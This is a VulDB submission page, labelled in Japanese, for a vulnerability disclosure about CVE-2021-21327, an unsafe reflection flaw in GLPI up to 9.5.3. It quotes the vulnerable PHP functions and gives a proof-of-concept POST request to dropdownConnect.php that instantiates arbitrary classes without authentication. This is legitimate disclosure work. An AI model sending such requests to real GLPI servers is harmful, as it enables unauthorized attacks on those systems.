| タイトル | CVE-2021-21327: Unsafe Reflection in GLPI <=9.5.3 |
|---|
| 説明 | # Exploit Title: Unsafe Reflection in GLPI <=9.5.3
# Date: 2021-02-13
# Exploit Author: Vadym Soroka @Iterasec https://iterasec.com
# Vendor Homepage: https://glpi-project.org
# Software Link: https://github.com/glpi-project/glpi/releases
# Version: <=9.5.3
# Tested on:v9.5.3, 2021-02-13
# CVE : CVE-2021-21327
# Technical advisories:
https://github.com/glpi-project/glpi/security/advisories/GHSA-qmw7-w2m4-rjwp
https://iterasec.com/cve-2021-21327-unsafe-reflection-in-getitemforitemtype-in-glpi/
Impact:
Non-authenticated user can remotely instantiate object of any class existing in the GLPI environment that can be used to carry out malicious attacks, or to start a “POP chain”.
As an example of direct impact, this vulnerability affects integrity of the GLPI core platform and third-party plugins runtime misusing classes which implement some sensitive operations in their constructors or destructors.
Description:
When passing an existing class (ex: "Glpi\Console\Application" class) as an input of the getItemForItemtype() function new object of this class is created executing its constructor e.g. magic __construct() PHP method if declared.
When a PHP object gets destroyed, its __destruct() method is executed.
There are many entry points in the GLPI and its plugins, where untrusted user input is passed to the getItemForItemtype() function missing proper input and authorization checks, so just one example is shown to demonstrate the issue in the dropdownConnect.php as an entry point.
Vulnerable code sample:
--- file dropdownConnect.php:
if (!isset($_POST['fromtype']) || !($fromitem = getItemForItemtype($_POST['fromtype']))) {
exit();
}
---
--- file dbutils.class.php, function getItemForItemtype($itemtype)
if (class_exists($itemtype)) {
return new $itemtype();
}
//handle namespaces
if (substr($itemtype, 0, \strlen(NS_GLPI)) === NS_GLPI) {
$itemtype = stripslashes($itemtype);
if (class_exists($itemtype)) {
return new $itemtype();
}
}
---
POC/Steps to reproduce:
Issue a request*:
POST /ajax/dropdownConnect.php HTTP/1.1
Host: glpi
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Connection: close
Content-Length: 12
fromtype=XXX
* replacing XXX with a class name existing in the deployed GLPI environment with expected patterns, e.g.:
GLPI Core: "Glpi\Foo\Bar"
GLPI Plugins: "PluginFooBar"
|
|---|
| ソース | ⚠️ https://iterasec.com/cve-2021-21327-unsafe-reflection-in-getitemforitemtype-in-glpi/ |
|---|
| ユーザー | vsoroka (UID 15835) |
|---|
| 送信 | 2021年03月04日 21:17 (5 年 ago) |
|---|
| モデレーション | 2021年03月05日 07:00 (10 hours later) |
|---|
| ステータス | 承諾済み |
|---|
| VulDBエントリ | 170694 [GLPI 迄 9.5.3 dropdownConnect.php getItemForItemtype 特権昇格] |
|---|
| ポイント | 20 |
|---|